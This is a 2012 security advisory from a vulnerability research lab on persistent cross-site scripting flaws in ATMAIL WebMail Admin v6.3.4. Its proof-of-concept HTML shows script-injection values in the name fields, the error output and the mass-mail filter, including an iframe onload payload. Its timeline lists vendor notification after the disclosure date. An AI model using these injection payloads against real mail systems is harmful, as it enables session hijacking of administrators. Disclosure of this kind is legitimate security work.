Title:
======
ATMAIL WebMail Admin v6.3.4 - Multiple Vulnerabilities


Date:
=====
2012-01-07


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=376


VL-ID:
=====
376


Introduction:
=============
Atmail is a commercial Linux messaging platform provider. The company was founded in 2001 and has its company headquarters located 
in Peregian Beach, Australia. The company develops webmail, mail-server and groupware solutions built for Linux and other 
Unix operating systems, and includes the source code under a commercial license.

Atmail provides 2 different web based application which are integrated on appliances or different software types.
The first service the the ATWebMail Application the secound is the ATWebMail Admin Application.

(Copy of the Vendor Homepage: http://en.wikipedia.org/wiki/@Mail)


Abstract:
=========
A Vulnerability-Lab researcher discovered multiple Web Vulnerabilities on the famous ATMAIL Web Admin Application v6.3.4.


Report-Timeline:
================
2012-11-01:  Vendor Notification
2012-01-07:  Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
ATMAIL
Product: WebMail Admin v6.3.4


Exploitation-Technique:
=======================
Remote


Severity:
=========
High


Details:
========
Multiple persistent input validation vulnerabilities are detected on the ATMAIL WebMail Admin Application v6.3.4.
The vulnerability allows an remote attacker to inject persistent malicious script code. Successful exploitation
can results in persistent content manipulation, server-side session hijacking & module context manipulation.

Vulnerable Module(s):
        [+] UserManagement & Listing - FirstName or LastName
        [+] Exception-Handling of the Application - Output
        [+] Mass-Mail Input & Output Listing



Picture(s):
        ../1.1.png
        ../1.2.png
        ../2.png


Proof of Concept:
=================
The vulnerabilities can be exploited by remote attacker with low required user inter action or 
by local low privileged user accounts. For demonstration or reproduce ...


Code Review: Exception Handling of the Application Service
 
<div id="primary_content_inner" style="padding: 20px; overflow: auto; height: 100%;">
                      
?????SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that 
corresponds to your MySQL server version for the right syntax to use near '"><EXECUTION OF MALICIOUS SCRIPT CODE")' 
<="" where'="" at="" line="" 1="" <h2="">Application error</h2> 

   
    <h3>Exception information:<
/h3> 
      <p> 
        <b>Message:<br></b> SQLSTATE[42000]: Syntax error or access 
violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the 
right syntax to use near '"><iframe src=a onload=alert("PERSISTENT") < where' at line 1 
      </p> 
        
<strong>Thrown in:</strong> /usr/local/atmail/webmail/library/Zend/Db/Statement/Pdo.php, Line #:234, Code #: 42000
    
<h3>Stack trace:</h3> 
      <pre>#0 /usr/local/atmail/webmail/library/Zend/Db/Statement.php(300): 
Zend_Db_Statement_Pdo->_execute(Array)
#1 /usr/local/atmail/webmail/library/Zend/Db/Adapter/Abstract.php(468): Zend_Db_Statement->execute(Array)
#2 /usr/local/atmail/webmail/library/Zend/Db/Adapter/Pdo/Abstract.php(238): Zend_Db_Adapter_Abstract->query('select count(id...', Array)
#3 /usr/local/atmail/webmail/library/Zend/Db/Adapter/Abstract.php(799): Zend_Db_Adapter_Pdo_Abstract->query('select count(id...', Array)
#4/usr/local/atmail/webmail/application/models/api.php(3270): Zend   ...    ...



Code Review: Adding New User - Userverwaltung  or User Registration

<tr>
    <td class="contact_field" align="top">
      
Firstname    </td>
    <td>
      
<input class="" maxlength="128" name="UserFirstName" id="UserFirstName"
value="<script>EXECUTION OF MALICIOUS SCRIPT CODE)</script>">

</td>
  </tr>

  <tr>
    <td class="contact_field" align="top">
Lastname    </td>
    <td>

<input class="default" maxlength="128" name="UserLastName" id="UserLastName" value="Last Name">
    
</td>
  </tr>




Code Review: Mass Mail - Output

<td class="label">Filter by domain:</td>
<td class="filterinput">
<input name="aliasFilter" id="aliasFilter" class="panelFilter" value=""
><script>EXECUTION OF MALICIOUS SCRIPT CODE)</script>" type="text"> 
<small>Specify a domain or email to filter results</small>
</td>
<td class="filterdomain">
 
</td>
</tr>               
</tbody></table>



Reference(s):
          ../Exception-Handling-PoC.txt
          ../MassMail-PoC.txt
          ../NewUSer-Poc.txt


Risk:
=====
The security risk of the persistent web vulnerabilities are estimated as high(-).


Credits:
========
Vulnerability Research Laboratory - Benjamin Kunz Mejri (Rem0ve)  &  Ucha Gobejishvili (longrifle0x) 


Disclaimer:
===========
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